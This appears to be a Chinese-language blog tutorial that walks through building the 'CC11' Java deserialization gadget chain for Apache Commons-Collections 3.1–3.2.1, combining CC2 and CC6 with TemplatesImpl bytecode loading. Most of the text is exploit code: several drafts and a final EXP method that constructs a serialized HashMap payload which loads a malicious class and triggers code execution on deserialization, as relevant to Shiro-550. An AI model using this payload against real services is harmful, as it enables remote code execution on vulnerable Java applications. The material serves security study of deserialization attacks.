Commons-Collections 篇 --CC11
CC11
介绍
通过shiro550未导入的cc我们自己打依赖编写了cc链,是CC2+CC6的组合变形
我们把它叫做CC11,这条链子使用字节码加载
其实根据我们前面分析的CC1-7,可以衍生出来很多CCN

环境
- CommonsCollections 3.1-3.2.1
- jdk8u65
编写
前半部分
CC11的前半段和CC2的前半段是一样的
1
2
3
4
5
6
7//CC2 readObject() PriorityQueue.heapify() Comparable.compare() TrAXFilter.newTransformer() TemplatesImpl.getTransletInstance() <恶意类初始化执行>调用templates的
newTransformer方法,实现恶意类的加载1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name");//获取 私有 字段"_name" nameField.setAccessible(true);//获取私有 nameField.set(templates, "aaaa"); //在templates中设置 "_name"=="aaaa" Field bytecodesField = tc.getDeclaredField("_bytecodes");//获取 私有 字段"_bytecodes" bytecodesField.setAccessible(true);//获取私有 byte[] code = Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class"));//创建字节码 byte[][] codes = {code};//设置二位数组和参数类型匹配 bytecodesField.set(templates, codes);//在templates中设置 "_bytecodes"==codes InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{}); TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); Class c =transformingComparator.getClass(); Field transformerField = c.getDeclaredField("transformer"); transformerField.setAccessible(true); transformerField.set(transformingComparator, invokerTransformer);
后半部分
CC6的后半部分
1
2
3
4
5
6
7
8//CC6 readObject() HashMap.readObject() HashMap.hash() TiedMapEntry.hashCode() LazyMap.get() Transformer.transform() Runtime.exec()利用
TiedMapEntry的hashCode方法,一步一步调用到InvokerTransformer,利用它来执行newTransformer方法1
2
3
4
5
6
7
8
9
10
11
12
13Transformer[] transformers = { new ConstantTransformer(templates), new InvokerTransformer("newTransformer",null,null) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map lazymap = LazyMap.decorate(hashMap,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,null); lazymap.put(tiedMapEntry,null); lazymap.remove(null);
最后
组合起来两部分是这样的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> tc = templates.getClass(); Field name = tc.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"a"); Field bytecodes = tc.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] eval = Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class")); byte[][] codes = {eval}; bytecodes.set(templates,codes); Field tfactory = tc.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); Transformer[] transformers = { new ConstantTransformer(templates), new InvokerTransformer("newTransformer",null,null) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxx"); HashMap<Object, Object> expMap = new HashMap<>(); expMap.put(tiedMapEntry,"xxx"); lazyMap.remove("xxx"); // serialize(expMap); unserialize("ser.bin");但是我们发现在
put时,就已经触发了计算器,是因为在put时也会触发其hashCode方法我们也和CC6一样,先改为无用的东西,后面通过反射调用1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> tc = templates.getClass(); Field name = tc.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"a"); Field bytecodes = tc.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] eval = Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class")); byte[][] codes = {eval}; bytecodes.set(templates,codes); Field tfactory = tc.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); Transformer[] transformers = { new ConstantTransformer(templates), new InvokerTransformer("newTransformer",null,null) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1)); // Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxx"); HashMap<Object, Object> expMap = new HashMap<>(); expMap.put(tiedMapEntry,"xxx"); lazyMap.remove("xxx"); Class<? extends Map> lazyMapClass = lazyMap.getClass(); Field factory = lazyMapClass.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazyMap,chainedTransformer); // serialize(expMap); unserialize("ser.bin"); }有数组攻击链,利用
ChainedTransformer的递归调用,和ConstantTransformer的指定返回类来传参无数组的攻击链,参数是从
getValue调用LazyMap的get方法时传入的1
2
3
4
5
6
7
8
9
10
11
12
13public Object getValue() { return map.get(key); } //LazyMap public Object get(Object key) { // create value for key if key is not currently in the map if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }所以最后做修改
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> tc = templates.getClass(); Field name = tc.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"a"); Field bytecodes = tc.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] eval = Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class")); byte[][] codes = {eval}; bytecodes.set(templates,codes); Field tfactory = tc.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl()); InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null); HashMap<Object, Object> hashMap = new HashMap<>(); Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1)); // Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates); HashMap<Object, Object> expMap = new HashMap<>(); expMap.put(tiedMapEntry,"xxx"); lazyMap.remove(templates); Class<? extends Map> lazyMapClass = lazyMap.getClass(); Field factory = lazyMapClass.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazyMap,invokerTransformer); // serialize(expMap); unserialize("ser.bin"); }
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tc = templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"a");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] eval = Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class"));
byte[][] codes = {eval};
bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Transformer[] transformers = {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
// Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxx");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry,"xxx");
lazyMap.remove("xxx");
Class<? extends Map> lazyMapClass = lazyMap.getClass();
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);
// serialize(expMap);
unserialize("ser.bin");
}
Commons-Collections 篇 --CC11
http://example.com/2025/12/17/CC11/